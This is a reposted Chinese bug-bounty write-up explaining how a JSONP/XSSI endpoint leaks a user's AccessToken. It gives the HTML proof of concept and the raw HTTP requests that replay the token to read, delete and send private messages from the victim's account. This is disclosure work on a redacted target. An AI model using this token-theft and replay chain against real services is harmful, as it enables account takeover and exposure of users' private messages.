利用 XSSI 窃取 AccessToken
2023-6-28 16:28:20 Author: 骨哥说事(查看原文) 阅读量:20 收藏

本篇是发现跨站脚本包含 (XSSI) 和 JSONP 获得漏洞赏金文章的继续拓展阅读。

注:为遵守保密政策,实际易受攻击资产均以 staging.vulnerable.com 代替。

概念证明:


假设攻击者可以在一个易受攻击的端点调用自己的JSONP回调函数(例如 calc ):

这可以通过向API响应传递回调(通过参数)来实现 callback ,该回调将包裹在JSON对象周围,允许我们在脚本标记之间加载API响应以进一步处理它:

<html><script>function calc(s){alert(JSON.stringify(s));}</script>
<script src="https://staging.vulnerable.com/account/messagecenter/headerwidget/params?callback=calc"></script>
</html>


攻击者在自己的服务器上托管上述代码,经过身份验证的用户如果访问页面的URL,可以看到成功获得用户的AccessToken和UID值:

从用户帐户读取/删除/发送消息的概念验证:

获取AccessToken和UID并不困难,识别它们的具体使用情况才是真正的挑战,浏览API文档并搜索该值是否有用通常是一个无聊且耗时的过程,AccessToken如果有用,那么在哪里使用它们以及如何使用它们?

在花了大约一个小时后,白帽小哥发现文档中没有任何关于 AccessToken 或相关信息的内容,随着深入挖掘,白帽小哥发现 AccessToken 似乎无法使用在任何功能上,于是他决定放弃了这一发现,转而投入其它工作。

第二天,白帽小哥认为应该在 API 调用中进行一些随机的最后尝试,于是他开始查看所有的请求和响应,一段时间后,他发现了一个XHR请求:

GET /api/communication-service/conversation?showHidden=true HTTP/1.1Host: staging.vulnerable.comUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestConnection: closeReferer: https://staging.vulnerable.com/account/messagecenterCookie: COOKIE_VALUES_HERESec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin

白帽小哥从上述请求中删除了Cookie,并开始使用 AccessToken ,并希望它可能是一个有效的身份验证令牌,经过几次尝试后,他随机传递了AccessToken作为Bearer令牌头:

GET /api/communication-service/conversation?showHidden=true HTTP/1.1Host: staging.vulnerable.comUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestConnection: closeReferer: https://staging.vulnerable.com/account/messagecenterAuthorization: bearer xxxxxxxxxxxxxxxxxxxxxSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin

居然成功了!这基本算是应用程序一个问题,该问题证明即使是看似“无用”的 AccessToken 值, 在加载了令牌头中传递时,/api/communication-service/conversation 端点仍然会被接受。

阅读用户所有私信:

上述请求获取了所有的信息、日期、用户名,以及参与对话的用户的账号和对话ID。

重放以下请求就能够获取用户的特定会话的详细信息(将CONVERSATION-ID 替换为在上一请求中获取到的 conversationId ):

GET /api/communication-service/conversation/CONVERSATION-ID/message HTTP/1.1Host: staging.vulnerable.comAuthorization: bearer xxxxxxxxxxxxxxxxxxxxxxxxxxxConnection: closesec-ch-ua: "Google Chrome";v="95", "Chromium";v="95", ";Not A Brand";v="99"Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie:

重放以下请求以从用户帐户中获取与特定参与者的对话(将ACCOUNT-ID 替换为为 accountid ):

GET /api/communication-service/conversation?participantIds=ACCOUNT-ID&showHidden=true HTTP/1.1Host: staging.vulnerable.comAuthorization: bearer xxxxxxxxxxxxxxxxxxxxxxxxxxxUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestConnection: closeCookie:


删除用户所有私信:

重放以下请求,可从用户帐户中删除特定消息(将CONVERSATION-ID 替换为为 conversationId , messageid  
637712054644701721 为初始步骤中获得):

DELETE /api/communication-service/conversation/CONVERSATION-ID/message/637712054644701721 HTTP/1.1Host: staging.vulnerable.comAuthorization: bearer xxxxxxxxxxxxxxxxxxUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestOrigin: https://staging.vulnerable.comConnection: closeCookie:


向任何人发送消息:

发送消息分为两种情况,一种情况是向用户从未与其进行过对话的任何人发送消息,另一种情况是向用户已经进行对话的人发送消息。

与任何人从用户的帐户创建一个新的对话,重放以下请求(替换 UID 为用户的 accountPublicGuid ,并替换 ACCOUNT-ID 为 accountId )

POST /api/communication-service/conversation HTTP/1.1Host: staging.vulnerable.comUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/jsonX-Requested-With: XMLHttpRequestContent-Length: 445Origin: https://staging.vulnerable.comAuthorization: bearer xxxxxxxxxxxxxxxxxxxxxxxConnection: closeCookie: 
{"createDate":"2021-10-30T15:41:53.697Z","createdBy":"UID","lastMessageCreatedBy":"UID","lastMessageDate":"2021-10-30T15:41:53.697Z","lastMessageId":null,"lastMessageText":"---","state":0,"participants":[{"accountId":"ACCOUNT-ID","createDate":null,"lastViewedMessageId":null,"profileImageUrl":null,"securityType":null,"username":null,"isAuthor":false}]}


从响应包中可以看到 id 呈现的JSON中的第一个值(该值即新的会话 id ):

然后在下面的请求中使用这个新生成的conversationid来发送消息(替换 UID 为user的 accountPublicGuid ):

POST /api/communication-service/conversation/3a2c54d5-4706-4478-8965-da32256138fb/message HTTP/1.1Host: staging.vulnerable.comUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/jsonX-Requested-With: XMLHttpRequestContent-Length: 178Origin: https://staging.vulnerable.comConnection: closeAuthorization: bearer xxxxxxxxxxxxxxxxxCookie: 
{"attachments":[],"createDate":"2021-10-30T15:43:49.837Z","createdBy":"UID","messageText":"","sid":"","message":"ATTACKER_MESSAGE_FROM_VICTIM_ACCOUNT"}

要从用户帐户内的现有会话中发送消息,只需使用适当的“conversationid”重放之前的请求即可。

除了与消息相关的操作之外,攻击者还能够从用户的帐户获取所有 Lists 内容,创建新 Lists 内容等。

漏洞影响:

攻击者可通过电子邮件或在论坛/博客的形式,窃取用户令牌,从而使攻击者能够接管用户帐户的一些关键操作。

赏金奖励:

====正文结束====


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5Mzc4MzUzMQ==&mid=2650256513&idx=1&sn=a4c32752a7b14e498cc1be2d9648f0fd&chksm=be92df0589e55613fcd396a3996f35dcc47ebe390a69e46d0109f7dad7bd2c511715f5801540#rd
如有侵权请联系:admin#unsafe.sh